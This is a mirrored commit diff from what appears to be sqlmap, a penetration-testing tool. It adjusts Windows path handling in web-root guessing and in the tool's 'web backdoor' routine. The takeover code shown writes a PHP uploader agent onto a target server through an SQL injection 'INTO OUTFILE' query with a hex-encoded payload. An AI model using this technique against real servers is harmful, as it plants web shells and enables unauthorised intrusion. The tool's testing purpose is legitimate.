Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 57b8bb4

Browse files
committed
Minor syntax adjustment for web backdoor functionality
1 parent 58f3eee commit 57b8bb4

2 files changed

Lines changed: 4 additions & 9 deletions

File tree

lib/core/common.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -228,7 +228,7 @@ def getDocRoot():
228228
pagePath = os.path.dirname(conf.path)
229229

230230
if kb.os == "Windows":
231-
defaultDocRoot = "C:\\Inetput\\wwwroot\\"
231+
defaultDocRoot = "C:/Inetpub/wwwroot/"
232232
else:
233233
defaultDocRoot = "/var/www/"
234234

@@ -247,7 +247,7 @@ def getDocRoot():
247247
docRoot = absFilePath[:index]
248248

249249
if absFilePathWin:
250-
docRoot = "C:\\%s" % docRoot.replace("/", "\\")
250+
docRoot = "C:/%s" % docRoot.replace("\\", "/")
251251

252252
break
253253

@@ -274,7 +274,7 @@ def getDirs():
274274
directories = set()
275275

276276
if kb.os == "Windows":
277-
defaultDir = "C:\\Inetput\\wwwroot\\test\\"
277+
defaultDir = "C:/Inetpub/wwwroot/test/"
278278
else:
279279
defaultDir = "/var/www/test/"
280280

plugins/generic/takeover.py

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -137,14 +137,9 @@ def __webBackdoorInit(self):
137137
uploaderName = "uploader.php"
138138
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
139139

140-
if kb.os == "Windows":
141-
sep = "\\\\"
142-
else:
143-
sep = "/"
144-
145140
for directory in directories:
146141
# Upload the uploader agent
147-
outFile = os.path.normpath("%s%s%s" % (directory, sep, uploaderName))
142+
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
148143
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
149144
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
150145
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)

0 commit comments

Comments
 (0)